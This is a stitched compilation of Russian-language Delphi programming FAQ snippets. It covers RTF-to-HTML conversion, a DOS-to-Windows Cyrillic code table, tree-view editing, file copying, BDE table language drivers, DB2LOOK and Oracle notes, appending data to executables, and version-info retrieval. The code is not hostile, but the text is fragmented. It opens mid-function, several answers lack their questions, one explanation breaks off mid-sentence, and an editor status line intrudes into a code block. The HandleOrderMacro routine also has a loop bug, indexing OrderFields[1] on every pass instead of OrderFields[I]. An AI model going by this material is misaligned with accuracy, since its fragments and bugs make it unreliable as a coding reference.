text := stringreplaceall (text,'\'+chr(39)+'e4','a"');
text := stringreplaceall (text,'\'+chr(39)+'c4','A"');
text := stringreplaceall (text,'\'+chr(39)+'e1','a'');
text := stringreplaceall (text,'\'+chr(39)+'c1','A'');
text := stringreplaceall (text,'\'+chr(39)+'e0','a`');
text := stringreplaceall (text,'\'+chr(39)+'c0','A`');
text := stringreplaceall (text,'\'+chr(39)+'c2','A^');
text := stringreplaceall (text,'\'+chr(39)+'e2','a^');
text := stringreplaceall (text,'\'+chr(39)+'e3','a~');
text := stringreplaceall (text,'\'+chr(39)+'c3','A~');
text := stringreplaceall (text,'\'+chr(39)+'e7','c,');
text := stringreplaceall (text,'\'+chr(39)+'c7','C,');
text := stringreplaceall (text,'\'+chr(39)+'e9','e'');
text := stringreplaceall (text,'\'+chr(39)+'c9','E'');
text := stringreplaceall (text,'\'+chr(39)+'e8','e`');
text := stringreplaceall (text,'\'+chr(39)+'c8','E`');
text := stringreplaceall (text,'\'+chr(39)+'ea','e^');
text := stringreplaceall (text,'\'+chr(39)+'ca','E^');
text := stringreplaceall (text,'\'+chr(39)+'eb','e"');
text := stringreplaceall (text,'\'+chr(39)+'cb','E"');
text := stringreplaceall (text,'\'+chr(39)+'ee','i^');
text := stringreplaceall (text,'\'+chr(39)+'ce','I^');
text := stringreplaceall (text,'\'+chr(39)+'ed','i'');
text := stringreplaceall (text,'\'+chr(39)+'cd','I'');
text := stringreplaceall (text,'\'+chr(39)+'ec','i`');
text := stringreplaceall (text,'\'+chr(39)+'cc','I`');
text := stringreplaceall (text,'\'+chr(39)+'ef','i"');
text := stringreplaceall (text,'\'+chr(39)+'cf','I"');
text := stringreplaceall (text,'\'+chr(39)+'f1','n~');
text := stringreplaceall (text,'\'+chr(39)+'d1','N~');
text := stringreplaceall (text,'\'+chr(39)+'f3','o'');
text := stringreplaceall (text,'\'+chr(39)+'d3','O'');
text := stringreplaceall (text,'\'+chr(39)+'f2','o`');
text := stringreplaceall (text,'\'+chr(39)+'d2','O`');
text := stringreplaceall (text,'\'+chr(39)+'d4','O^');
text := stringreplaceall (text,'\'+chr(39)+'f4','o^');
text := stringreplaceall (text,'\'+chr(39)+'f5','o~');
text := stringreplaceall (text,'\'+chr(39)+'d5','O~');
text := stringreplaceall (text,'\'+chr(39)+'f8','?');
text := stringreplaceall (text,'\'+chr(39)+'d8','?');
text := stringreplaceall (text,'\'+chr(39)+'f6','o"');
text := stringreplaceall (text,'\'+chr(39)+'d6','O"');
text := stringreplaceall (text,'\'+chr(39)+'fc','u"');
text := stringreplaceall (text,'\'+chr(39)+'dc','U"');
text := stringreplaceall (text,'\'+chr(39)+'fa','u'');
text := stringreplaceall (text,'\'+chr(39)+'da','U'');
text := stringreplaceall (text,'\'+chr(39)+'fb','u^');
text := stringreplaceall (text,'\'+chr(39)+'db','U^');
text := stringreplaceall (text,'\'+chr(39)+'d9','U`');
text := stringreplaceall (text,'\'+chr(39)+'f9','u`');
text := stringreplaceall (text,'\'+chr(39)+'fd','y'');
text := stringreplaceall (text,'\'+chr(39)+'dd','Y'');
text := stringreplaceall (text,'\'+chr(39)+'ff','y"');
text := stringreplaceall (text,'|',' ');
text := stringreplaceall (text,'\'+chr(39)+'a3','?');
text := stringreplaceall (text,'\}','#]#');
text := stringreplaceall (text,'\{','#[#');
if (beginswith (text, '{\rtf1\')) or (beginswith (text, '{\colortbl\')) then
begin
result := '';
exit;
end;
//text := stringreplaceall (text,'{\fonttbl',''); {Skall alltid tas bort}
//temptext := hamtastreng (text,'{\rtf1','{\f0');{Skall alltid tas bort}
//text := stringreplace (text,temptext,'');
//temptext := hamtastreng (text,'{\f0','{\f1');{Skall alltid tas bort}
//text := stringreplace (text,temptext,'');
//temptext := hamtastreng (text,'{\f1','{\f2');{Skall alltid tas bort}
//text := stringreplace (text,temptext,'');
//text := stringreplaceall (text,'{\f2\fswiss\fprq2 System;}}','');{Skall alltid tas bort}
//text := stringreplaceall (text,'{\colortbl\red0\green0\blue0;}','');{Skall alltid tas bort}
{I version 2.01 av Delphi finns inte \cf0 med i RTF-rutan. Tog darfor bort
det efter \fs16 och la istallet en egen tvatt av \cf0.}
//temptext := hamtastreng (text,'{\rtf1','\deflang');
//text := stringreplace (text,temptext,''); {Hamta och radera allt fran start till deflang}
text := stringreplaceall (text,'\cf0','');
temptext := hamtastreng (text,'\deflang','\pard');{Plocka fran deflang till pard for att fa }
text := stringreplace (text,temptext,'');{oavsett vilken lang det ar. Norska o svenska ar olika}
text := stringreplaceall (text,'\ltrpar','');
text := stringreplaceall (text,'\ql','');
text := stringreplaceall (text,'\ltrch','');
{Har skall vi plocka bort fs och flera olika siffror beroende pa vilka alternativ vi godkanner.}
//text := stringreplaceall (text,'\fs16','');{8 punkter}
//text := stringreplaceall (text,'\fs20','');{10 punkter}
{Nu stadar vi istallet bort alla tvasiffriga fontsize.}
while pos ('\fs',text) >0 do
begin
//application.processmessages;
start := pos ('\fs',text);
Delete(text,start,5);
end;
while pos ('\f',text) >0 do
begin
//application.processmessages;
start := pos ('\f',text);
Delete(text,start,3);
end;
text := stringreplaceall (text,'\pard\li200-200{\*\pn\pnlvlblt\pnf1\pnindent200{\pntxtb\'+chr(39)+'b7}}\plain ','</P><UL>');
text := stringreplaceall (text,'{\pntext\'+chr(39)+'b7\tab}','<LI>');
text := stringreplaceall (text, '\par <LI>','<LI>');
text := stringreplaceall (text, '\par <UL>','<UL>');
text := stringreplaceall (text,'\pard\plain ','<P>');
text := stringreplaceall (text,'\par \plain\b\ul ','</P><MELLIS>');
text := stringreplaceall (text,'\plain\b\ul ','</P><MELLIS>');
text := stringreplaceall (text,'\plain','</MELLIS>');
text := stringreplaceall (text,'\par }','</P>');
if (pos ('\par \tab ',text)>0) or (pos ('<P>\tab ',text)>0) then
begin
text := stringreplaceall (text,'\par \tab ','<TR><TD>');
text := stringreplaceall (text,'<P>\tab ','<TR><TD>');
text := stringreplaceall (text,'\tab ','</TD><TD>');
end
else
begin
text := stringreplaceall (text,'\tab ','');
end;
text := stringreplaceall (text,'\par ','</P><P>');
text := stringreplaceall (text,'#]#','}');
text := stringreplaceall (text,'#[#','{');
text := stringreplaceall (text,'\\','\');
if pos('<TD>',text)>0 then text := text+'</TD></TR>';
if pos('<LI>',text)>0 then text := text+'</LI>';
result := text;
end;
end.
Для перекодирования из текущей кодировки DOS в текущую кодировку Windows
есть функции
Win16: OemToAnsi, AnsiToOem;
Win32: OemToChar, CharToOem.
И они же с суффиксом Buf.
Но если Вы хотите работать с другими кодировками (ISO, 4e) или
получить тот же результат вне зависимости системной локализации,
Примечание: не пытайся копировать таблицу из письма, так как здесь кодировка
KOI8r, а набей ее сам вручную.
type
TXlatTable = array[0..255] of Char;
PXlatTable = ^TXlatTable;
const
Cp866To1251 : TXlatTable = (
#0,#1,#2,#3,#4,#5,#6,#7,#8,#9,#10,#11,#12,#13,#14,#15,
#16,#17,#18,#19,#20,#21,#22,#23,#24,#25,#26,#27,#28,#29,#30,#31,
' ','!','"','#','$','%','&','''','(',')','*','+',',','-','.','/',
'0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?',
'@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O',
'P','Q','R','S','T','U','V','W','X','Y','Z','[','\',']','^','_',
'`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o',
'p','q','r','s','t','u','v','w','x','y','z','{','|','}','~',#127,
'А','Б','В','Г','Д','Е','Ж','З','И','Й','К','Л','М','H','О','П',
'Р','С','Т','У','Ф','Х','Ц','Ч','Ш','Щ','Ъ','Ы','Ь','Э','Ю','Я',
'а','б','в','г','д','е','ж','з','и','й','к','л','м','н','о','п',
'.','.','.','.','.','.','.','.','.','.','.','.','.','.','.','.',
'.','.','.','.','.','.','.','.','.','.','.','.','.','.','.','.',
'.','.','.','.','.','.','.','.','.','.','.','.','.','.','.','.',
'р','с','т','у','ф','х','ц','ч','ш','щ','ъ','ы','ь','э','ю','я',
'Ё','ё','?','ё','?','?','?','?','°','·','·',#251,'?','?',#254,#255);
function XlatConvert(const Value:string;
const CvtTable:PXlatTable): string;
Implementation
{***********************************
* Xlat Convering utility *
* for Transliterate, Upper, Lower *
***********************************}
function XlatConvert(const Value:string;
const CvtTable:PXlatTable) : string;
var
I : Integer;
begin
if CvtTable = nil then
Result := Value
else begin
Result := '';
for I := 1 to Length(Value) do begin
Result := Result + CvtTable^[Byte(Value[I])];
end;
end;
end; {XlatConvert}
unit BetterTreeView;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, CommCtrl;
type
TTVNewEditCancelEvent = procedure( Sender: TObject;
Node: TTreeNode; var Delete: Boolean) of object;
TBetterTreeView = class(TTreeView)
protected
FIsEditingNew: Boolean;
FOnEditCancel: TTVChangedEvent;
FOnNewEditCancel: TTVNewEditCancelEvent;
procedure Edit(const Item: TTVItem); override;
public
function NewChildAndEdit(Node: TTreeNode; const S: String)
: TTreeNode;
published
property IsEditingNew: Boolean read FIsEditingNew;
property OnEditCancel: TTVChangedEvent
read FOnEditCancel write FOnEditCancel;
property OnNewEditCancel: TTVNewEditCancelEvent
read FOnNewEditCancel write FOnNewEditCancel;
end;
implementation
procedure TBetterTreeView.Edit(const Item: TTVItem);
var
Node: TTreeNode;
Action: Boolean;
begin
with Item do begin
{ Get the node }
if (state and TVIF_PARAM) <> 0 then
Node := Pointer(lParam)
else
Node := Items.GetNode(hItem);
if pszText = nil then begin
if FIsEditingNew then begin
Action := True;
if Assigned(FOnNewEditCancel) then
FOnNewEditCancel(Self, Node, Action);
if Action then
Node.Destroy
end
else
if Assigned(FOnEditCancel) then
FOnEditCancel(Self, Node);
end
else
inherited;
end;
FIsEditingNew := False;
end;
function TBetterTreeView.NewChildAndEdit
(Node: TTreeNode; const S: String): TTreeNode;
begin
SetFocus;
Result := Items.AddChild(Node, S);
FIsEditingNew := True;
Node.Expand(False);
Result.EditText;
SetFocus;
end;
end.
Можно так:
procedure CopyFile(const FileName, DestName: TFileName);
var
CopyBuffer: Pointer; { buffer for copying }
TimeStamp, BytesCopied: Longint;
Source, Dest: Integer; { handles }
Destination: TFileName; { holder for expanded destination name }
const
ChunkSize: Longint = 8192; { copy in 8K chunks }
begin
Destination := ExpandFileName(DestName); { expand the destination path }
if HasAttr(Destination, faDirectory) then { if destination is a directory...
}
Destination := Destination + '\' + ExtractFileName(FileName); { ...clone
file name }
TimeStamp := FileAge(FileName); { get source's time stamp }
GetMem(CopyBuffer, ChunkSize); { allocate the buffer }
try
Source := FileOpen(FileName, fmShareDenyWrite); { open source file }
if Source < 0 then raise EFOpenError.Create(FmtLoadStr(SFOpenError,
[FileName]));
try
Dest := FileCreate(Destination); { create output file; overwrite existing
}
if Dest < 0 then raise EFCreateError.Create(FmtLoadStr(SFCreateError,
[Destination]));
try
repeat
BytesCopied := FileRead(Source, CopyBuffer^, ChunkSize); { read chunk
}
if BytesCopied > 0 then { if we read anything... }
FileWrite(Dest, CopyBuffer^, BytesCopied); { ...write chunk }
until BytesCopied < ChunkSize; { until we run out of chunks }
finally
FileClose(Dest); { close the destination file }
{ SetFileTimeStamp(Destination, TimeStamp);} { clone source's time stamp
}{!!!}
end;
finally
FileClose(Source); { close the source file }
end;
finally
FreeMem(CopyBuffer, ChunkSize); { free the buffer }
Текст: D:\DELPHI\WORK\ID_LIB.PAS Ст. 0
end;
FileSetDate(Dest,FileGetDate(Source));
end;
ИМХО кpутовато будет такие ф-ии писать когда в большинстве
случаев достаточно что-нть типа нижепpиводимого, пpичем оно даже гибче,
так как позволяет скопиpовать как весь файл пpи From и Count = 0,
так и пpоизвольный его кусок.
function CopyFile( InFile,OutFile: String; From,Count: Longint ): Longint;
var
InFS,OutFS: TFileStream;
begin
InFS := TFileStream.Create( InFile, fmOpenRead );
OutFS := TFileStream.Create( OutFile, fmCreate );
InFS.Seek( From, soFromBeginning );
Result := OutFS.CopyFrom( InFS, Count );
InFS.Free;
OutFS.Free;
end;
try..except pасставляются по вкусу, а навоpоты вpоде установки
атpибутов,даты и вpемени файла и т.п. для ясности удалены, да и не нужны
они в основном никогда.
Конечно, под Win32 имеет смысл использовать функции CopyFile, SHFileOperation.
Откpываешь help и смотpишь:
.......
var List:TStrings;
.......
BEGIN
.......
List.Add ( 'LANGDRIVER=db866ru0 ');
.......
Session.ModifyDriver( 'DBASE', List );
.......
END;
Это действие я пpовожy пеpед откpытием таблицы
Ivan Sboev
(2:5049/36.15)
-----------
Это о "русификации" таблицы. В таблицах dBase и Paradox имеется байт, который определяет CodePage содержимого таблицы.
Раньше он не использовался и был зарезервирован. Тебе нужно его правильно установить. Это делается через DBD Restructure table.
Если хочешь программно, можешь воспользоваться следующей процедурой:
uses DbiTypes, DbiProcs, DbiErrs, DB, WinProcs, SysUtils;
procedure ChangeLangDriver( DatabaseName, TableName, LDName: string );
var
TblExt: string;
Database: TDatabase;
TblDesc: CRTblDesc;
OptDesc: FLDDesc;
OptData: array [0..250] of Char;
Cur: hDBICur;
Rec: CFGDesc;
begin
if ( TableName='' ) or ( LDName='' ) then
raise Exception.Create( 'Unknown TableName or LDName' );
Database:=Session.OpenDatabase( DatabaseName );
try
if Database.IsSQLBased then raise Exception.Create( 'Function ChangeLangDriver working only with dBase or Paradox tables' );
FillChar( OptDesc, SizeOf( OptDesc ), #0 );
FillChar( TblDesc, SizeOf( TblDesc ), #0 );
StrCopy( OptDesc.szName, 'LANGDRIVER' );
OptDesc.iLen := Length( LDName ) + 1;
with TblDesc do
begin
StrPCopy( szTblName, TableName );
TblExt := UpperCase( ExtractFileExt( TableName ) );
if TblExt = 'DBF' then StrCopy( szTblType, szDbase )
else if TblExt = '.DB' then StrCopy( szTblType, szParadox )
else
begin
AnsiToOEM( StrPCopy( OptData, DatabaseName ), OptData );
if DbiOpenCfgInfoList( nil, dbiREADONLY, cfgPersistent,
StrPCopy( OptData, '\DATABASES\' + StrPas( OptData ) + '\DB INFO\' ),
Cur ) <> DBIERR_NONE
then
raise Exception.Create( 'Unknown table type');
try
while DbiGetNextRecord( Cur, dbiNOLOCK, @Rec, nil ) <> DBIERR_EOF do
if StrComp( Rec.szNodeName, 'DEFAULT DRIVER' ) = 0 then
begin
StrCopy( szTblType, Rec.szValue );
Break;
end;
finally
Check( DbiCloseCursor( Cur ) );
end;
end;
iOptParams := 1;
pfldOptParams := @OptDesc;
pOptData := @OptData;
end;
StrPCopy( OptData, LDName );
Check( DbiDoRestructure( Database.Handle, 1, @TblDesc, nil,
nil, nil, False ) );
finally
Session.CloseDatabase( Database );
end;
end;
Примеры использования:
ChangeLangDriver( 'DBDEMOS', 'EMPLOYEE', 'ancyrr' );
ChangeLangDriver( 'DBDEMOS', 'EMPLOYEE.DB', 'ancyrr' );
ChangeLangDriver( 'C:\DELPHI\DEMOS\DATA', 'CLIENTS.DBF', 'db866ru0' );
LDName:
для D1 - имя .LD файла в каталоге IDAPI\LANGDRV;
для D2 и CB - из BDECFG32.HLP поле Short name в табличке по указателю language drivers, dBASE или поле
Internal в табличке по указателю language drivers, Paradox;
для D3 и выше - не знаю так как у меня её нет, но думаю, что также, как и в D2.
Я создал таблицу и хочу получить её структуру, чтобы сделать изменённый оператор создания таблицы.
Для этого существует утилита DB2LOOK. Она находится в SQLLIB\MISC.
Пример использования:
CONNECT TO SAMPLE USER xxx USING yyy
DB2LOOK -d SAMPLE -u xxx -e -t employee
Вывод может быть перенаправлен в файл.
Полный синтаксис выдаётся по команде:
DB2LOOK ?
Перевод документации:
Что такое ORACLE Database?
Это данные которые будут обрабатываться как единое целое. Database состоит из файлов операционной системы.
Физически существуют database files и redo log files. Логически database files содержат словари, таблицы
пользователей и redo log файлы. Дополнительно database требует одну или более копий control file.
Что такое ORACLE Instance?
ORACLE Instance обеспечивает программные механизмы доступа и управления database. Instance может быть запущен
независимо от любой database (без монтирования или открытия любой database). Один instance может открыть
только одну database. В то время как одна database может быть открыта несколькими Instance.
Instance состоит из:
SGA (System Global Area), которая обеспечивает коммуникацию между процессами;
до пяти (в последних версиях больше) бэкграундовых процессов.
От себя добавлю - database включает в себя tablespace, tablespace включает в себя segments (в одном файле данных
может быть один или несколько сегментов, сегменты не могут быть разделены на несколько файлов). segments включают
в себя extents.
"Засунуть" длинную строку можно было и раньше, если написать редактируемый запрос, и воспользоваться операциями Insert/Edit.
Однако это не относится к хранимым процедурам.
В Delphi 3.0 появился новый тип параметра (TBlobField вроде) и соответственно его поддержка в BDE.
Если просто взять BDE 4.01 и выше, то работать все-равно не будет - нужна соотв. версия VCL (из Delphi 3.0 или выше).
Dmitry Kuzmenko
-------------
Т.е. - переходите на Delphi 3.02 или выше, или используйте альтернативные способы - типа представлений, обновляемых с помощью триггеров.
Для dBase-таблицы встроенными средствами ты не перестроишь индекс, если его нет. Для этой цели мне пришлось написать процедуру
для физического удаления признака индексации в самом dbf-файле и после её применения добавлять индексы заново.
Для этого в заголовок файла dbf по смещению 28(dec) записываешь 0.
По другому никак не выходит(я долго бился)- вот для Paradox таблиц все Ok.
Олег
oleg@avia.cmw.ru
-----------
С помощью BDE Callbacks. Пpимеp для Delphi 2.0, на пеpвом не пpовеpял:
=== Callback.pas ===
unit Callback;
interface
uses BDE, Classes, Forms, DB, DBTables;
type
TForm1 = class(TForm)
Table1: TTable;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
CBack: TBDECallback; // опpеделение BDE CallBack
CBBuf: CBInputDesc; // пpосто буфеp
function CBFunc(CBInfo: Pointer): CBRType; // Callback-функция
public
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
Session.Open; // В это вpемя сессия ещё не откpыта
CBack := TBDECallback.Create( Session {Hапpимеp}, nil, cbINPUTREQ, @CBRegBuf,
SizeOf(CBBuf), CBFunc, False); // Опpеделили Callback
Table1.Open;
//^^^^^^^^^^^ - здесь возможна ошибка с индексом, etc.
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
CBack.Free; // Освобождаем CallBack
end;
function TForm1.CBFunc(CBInfo: Pointer): CBRType;
begin
with PCBInputDesc(CBInfo)^ do
case eCbInputId of
cbiMDXMissing {, cbiDBTMissing - можно ещё и очищать BLOB-поля}:
begin
iSelection := 3; // Hомеp ваpианта ответа (1-й - откpыть только
// для чтения, 2-й - не откpывать, 3-й - отсоединить индекс).
// Возможный источник непpиятностей: а вдpуг в последующих веpсиях
// BDE номеpа будут дpугими?
Result := cbrCHKINPUT; // Обpабатывать введённый ответ
end;
end;
end;
end.
=== Callback.pas ===
PS: конечно, это лишь пpимеp, делающий минимум необходимого. В pамках данного письма невозможно дать какое-то описание
BDE Callbacks. Инфоpмацию я взял из BDE32.HLP, BDE.INT и DB.PAS. В VCL.HLP совсем ничего нет по этому поводу.
Вообще, pуки бы отоpвал тем, кто писал спpавку по Дельфям: я неделю мучался с сабжем, пока случайно не набpёл на Callbacks.
unit vgRXutil;
interface
uses
SysUtils, Classes, DB, DBTables, rxLookup, RxQuery;
{ TrxDBLookup }
procedure RefreshRXLookup(Lookup: TrxLookupControl);
procedure RefreshRXLookupLookupSource(Lookup: TrxLookupControl);
function RxLookupValueInteger(Lookup: TrxLookupControl): Integer;
{ TRxQuery }
{ Applicatable to SQL's without SELECT * syntax }
{ Inserts FieldName into first position in '%Order' macro and refreshes query }
procedure HandleOrderMacro(Query: TRxQuery; Field: TField);
{ Sets '%Order' macro, if defined, and refreshes query }
procedure InsertOrderBy(Query: TRxQuery; NewOrder: String);
{ Converts list of order fields if defined and refreshes query }
procedure UpdateOrderFields(Query: TQuery; OrderFields: TStrings);
implementation
uses
vgUtils, vgDBUtl, vgBDEUtl;
{ TrxDBLookup refresh }
type
TRXLookupControlHack = class(TrxLookupControl)
property DataSource;
property LookupSource;
property Value;
property EmptyValue;
end;
procedure RefreshRXLookup(Lookup: TrxLookupControl);
var
SaveField: String;
begin
with TRXLookupControlHack(Lookup) do
begin
SaveField := DataField;
DataField := '';
DataField := SaveField;
end;
end;
procedure RefreshRXLookupLookupSource(Lookup: TrxLookupControl);
var
SaveField: String;
begin
with TRXLookupControlHack(Lookup) do
begin
SaveField := LookupDisplay;
LookupDisplay := '';
LookupDisplay := SaveField;
end;
end;
function RxLookupValueInteger(Lookup: TrxLookupControl): Integer;
begin
with TRXLookupControlHack(Lookup) do
try
if Value <> EmptyValue then
Result := StrToInt(Value) else
Result := 0;
except
Result := 0;
end;
end;
procedure InsertOrderBy(Query: TRxQuery; NewOrder: String);
var
Param: TParam;
OldActive: Boolean;
OldOrder: String;
Bmk: TPKBookMark;
begin
Param := FindParam(Query.Macros, 'Order');
if not Assigned(Param) then Exit;
OldOrder := Param.AsString;
if OldOrder <> NewOrder then
begin
OldActive := Query.Active;
if OldActive then Bmk := GetPKBookmark(Query, '');
try
Query.Close;
Param.AsString := NewOrder;
try
Query.Prepare;
except
Param.AsString := OldOrder;
end;
Query.Active := OldActive;
if OldActive then SetToPKBookMark(Query, Bmk);
finally
if OldActive then FreePKBookmark(Bmk);
end;
end;
end;
procedure UpdateOrderFields(Query: TQuery; OrderFields: TStrings);
var
NewOrderFields: TStrings;
procedure AddOrderField(S: String);
begin
if NewOrderFields.IndexOf(S) < 0 then
NewOrderFields.Add(S);
end;
var
I, J: Integer;
Field: TField;
FieldDef: TFieldDef;
S: String;
begin
NewOrderFields := TStringList.Create;
with Query do
try
for I := 0 to OrderFields.Count - 1 do
begin
S := OrderFields[I];
Field := FindField(S);
if Assigned(Field) and (Field.FieldNo > 0) then
AddOrderField(IntToStr(Field.FieldNo))
else
try
J := StrToInt(S);
if J < FieldDefs.Count then
AddOrderField(IntToStr(J));
except
end;
end;
OrderFields.Assign(NewOrderFields);
finally
NewOrderFields.Free;
end;
end;
procedure HandleOrderMacro(Query: TRxQuery; Field: TField);
var
Param: TParam;
Tmp, OldOrder, NewOrder: String;
I: Integer;
C: Char;
TmpField: TField;
OrderFields: TStrings;
begin
Param := FindParam(Query.Macros, 'Order');
if not Assigned(Param) or Field.Calculated or Field.Lookup then Exit;
OldOrder := Param.AsString;
I := 0;
Tmp := '';
OrderFields := TStringList.Create;
try
OrderFields.Add(Field.FieldName);
while I < Length(OldOrder) do
begin
Inc(I);
C := OldOrder[I];
if C in FieldNameChars then
Tmp := Tmp + C;
if (not (C in FieldNameChars) or (I = Length(OldOrder))) and (Tmp <> '') then
begin
TmpField := Field.DataSet.FindField(Tmp);
if OrderFields.IndexOf(Tmp) < 0 then
OrderFields.Add(Tmp);
Tmp := '';
end;
end;
UpdateOrderFields(Query, OrderFields);
NewOrder := OrderFields[0];
for I := 1 to OrderFields.Count - 1 do
NewOrder := NewOrder + ', ' + OrderFields[1];
finally
OrderFields.Free;
end;
InsertOrderBy(Query, NewOrder);
end;
end.
function AttachToFile(const AFileName: string; MemoryStream: TMemoryStream): Boolean;
var
aStream: TFileStream;
iSize: Integer;
begin
Result := False;
if not FileExists(AFileName) then
Exit;
try
aStream := TFileStream.Create(AFileName, fmOpenWrite or fmShareDenyWrite);
MemoryStream.Seek(0, soFromBeginning);
// seek to end of File
// ans Ende der Datei Seeken
aStream.Seek(0, soFromEnd);
// copy data from MemoryStream
// Daten vom MemoryStream kopieren
aStream.CopyFrom(MemoryStream, 0);
// save Stream-Size
// die Streamgro?e speichern
iSize := MemoryStream.Size + SizeOf(Integer);
aStream.Write(iSize, SizeOf(iSize));
finally
aStream.Free;
end;
Result := True;
end;
function LoadFromFile(const AFileName: string; MemoryStream: TMemoryStream): Boolean;
var
aStream: TFileStream;
iSize: Integer;
begin
Result := False;
if not FileExists(AFileName) then
Exit;
try
aStream := TFileStream.Create(AFileName, fmOpenRead or fmShareDenyWrite);
// seek to position where Stream-Size is saved
// zur Position seeken wo Streamgro?e gespeichert
aStream.Seek(-SizeOf(Integer), soFromEnd);
aStream.Read(iSize, SizeOf(iSize));
if iSize > aStream.Size then
begin
aStream.Free;
Exit;
end;
// seek to position where data is saved
// zur Position seeken an der die Daten abgelegt sind
aStream.Seek(-iSize, soFromEnd);
MemoryStream.SetSize(iSize - SizeOf(Integer));
MemoryStream.CopyFrom(aStream, iSize - SizeOf(iSize));
MemoryStream.Seek(0, soFromBeginning);
finally
aStream.Free;
end;
Result := True;
end;
procedure TForm1.SaveClick(Sender: TObject);
var
aStream: TMemoryStream;
begin
aStream := TMemoryStream.Create;
Memo1.Lines.SaveToStream(aStream);
AttachToFile('Test.exe', aStream);
aStream.Free;
end;
procedure TForm1.LoadClick(Sender: TObject);
var
aStream: TMemoryStream;
begin
aStream := TMemoryStream.Create;
LoadFromFile('Test.exe', aStream);
Memo1.Lines.LoadFromStream(aStream);
aStream.Free;
end;
{
Note:
You can't proof whether additional data is attached or not.
To reach this, you would have to create a checksumm of the
MemoryStream and attach it.
}
Сперва для получения дескриптора иконки используйте вызов API ExtractIcon, затем назначьте (assign) ее TImage.
Далее смотри электронную документацию.
-----------------------------------------
uses ShellApi;
procedure TForm1.Button1Click(Sender: TObject);
var
IconIndex: word;
h: hIcon;
begin
IconIndex := 0;
h := ExtractAssociatedIcon(hInstance,
'C:\WINDOWS\NOTEPAD.EXE', IconINdex);
DrawIcon(Form1.Canvas.Handle, 10, 10, h);
end;
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Интегрирование в EXE-шник других файлов
Процедура из указанного файла (FileName) создаёт unit в котором объявлен,
заполненный побайтово, массив и процедура сохранения этого массива обратно
в файл. Таким образом можно включить в один EXE-шник множество других
файлов (dll, ocx, dbf и т.п.) - прикрепить их как unit-ы. Фактически,
после сжатия EXE-шника программами типа UPX, получаем довольно компактный
файл, который можно использовать в качестве дистрибутива, например.
Зависимости: SysUtils, System
Автор: Delirium
Copyright: Delirium (Master BRAIN)
Дата: 22 мая 2002 г.
***************************************************** }
procedure FileToPas(FileName: string);
var
BF: file of Byte;
F: TextFile;
P, N, S: string;
BFSize: integer;
BBB: Byte;
begin
AssignFile(BF, FileName);
Reset(BF);
BFSize := FileSize(BF);
P := ExtractFilePath(FileName);
N := ExtractFileName(FileName);
N := ChangeFileExt(N, '.PAS');
AssignFile(F, N);
ReWrite(F);
Writeln(F, '(* Generated by Master BRAIN (C) 2002 *)');
Writeln(F, 'unit ' + ChangeFileExt(N, '') + ';');
Writeln(F);
Writeln(F, 'interface');
Writeln(F);
Writeln(F, 'const FileSize:integer=' + IntToStr(BFSize) + ';');
Writeln(F, 'FileData:array[0..' + IntToStr(BFSize - 1) + '] of Byte=');
Writeln(F, '(');
while not Eof(BF) do
begin
S := '';
while (not Eof(BF)) and (Length(S) < 80) do
begin
Read(BF, BBB);
S := S + IntToStr(BBB) + ',';
end;
if Eof(BF) then
Delete(S, Length(S), 1);
Writeln(F, S);
end;
CloseFile(BF);
Writeln(F, ');');
Writeln(F);
Writeln(F, 'procedure SaveToFile(FileName:String);');
Writeln(F);
Writeln(F, 'implementation');
Writeln(F);
Writeln(F, 'procedure SaveToFile(FileName:String);');
Writeln(F, 'var F:File of Byte;');
Writeln(F, ' i:integer;');
Writeln(F, 'begin');
Writeln(F, 'AssignFile(F,FileName);');
Writeln(F, 'ReWrite(F);');
Writeln(F, 'for i:=0 to FileSize-1 do Write(F,FileData[i]);');
Writeln(F, 'CloseFile(F);');
Writeln(F, 'end;');
Writeln(F);
Writeln(F, 'end.');
CloseFile(F);
end;
unit rpVersionInfo; //версия 1.0 3/8/98 записана и проверена в Delphi 3.
(*Автор Rick Peterson, данный компонент распространяется свободно
и освобожден от платы за использование. В случае изменения
авторского кода просьба прислать измененный код. Сообщайте пожалуйста
обо всех найденных ошибках. Адрес для писем - rickpet@airmail.net. *)
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
TypInfo;
type
{$M+}
(* Видели директиву $M+??? Это заставляет Delphi включать в код RTTI-информацию для
перечислимых типов. В основном допускает работу с перечислимыми типами как
со строками с помощью GetEnumName *)
TVersionType = (vtCompanyName, vtFileDescription, vtFileVersion,
vtInternalName,
vtLegalCopyright, vtLegalTradeMark, vtOriginalFileName,
vtProductName, vtProductVersion, vtComments);
{$M-}
TrpVersionInfo = class(TComponent)
(* Данный компонент позволяет получать информацию о версии вашего приложения
во время его выполенния *)
private
FVersionInfo: array[0..ord(high(TVersionType))] of string;
protected
function GetCompanyName: string;
function GetFileDescription: string;
function GetFileVersion: string;
function GetInternalName: string;
function GetLegalCopyright: string;
function GetLegalTradeMark: string;
function GetOriginalFileName: string;
function GetProductName: string;
function GetProductVersion: string;
function GetComments: string;
function GetVersionInfo(VersionType: TVersionType): string; virtual;
procedure SetVersionInfo; virtual;
public
constructor Create(AOwner: TComponent); override;
published
(* Использовать это очень просто - Label1.Caption := VersionInfo1.FileVersion
Примечание: Все свойства - только для чтения, поэтому они недоступны в
Инспекторе Объектов *)
property CompanyName: string read GetCompanyName;
property FileDescription: string read GetFileDescription;
property FileVersion: string read GetFileVersion;
property InternalName: string read GetInternalName;
property LegalCopyright: string read GetLegalCopyright;
property LegalTradeMark: string read GetLegalTradeMark;
property OriginalFileName: string read GetOriginalFileName;
property ProductName: string read GetProductName;
property ProductVersion: string read GetProductVersion;
property Comments: string read GetComments;
end;
procedure Register;
implementation
constructor TrpVersionInfo.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
SetVersionInfo;
end;
function TrpVersionInfo.GetCompanyName: string;
begin
result := GeTVersionInfo(vtCompanyName);
end;
function TrpVersionInfo.GetFileDescription: string;
begin
result := GeTVersionInfo(vtFileDescription);
end;
function TrpVersionInfo.GetFileVersion: string;
begin
result := GeTVersionInfo(vtFileVersion);
end;
function TrpVersionInfo.GetInternalName: string;
begin
result := GeTVersionInfo(vtInternalName);
end;
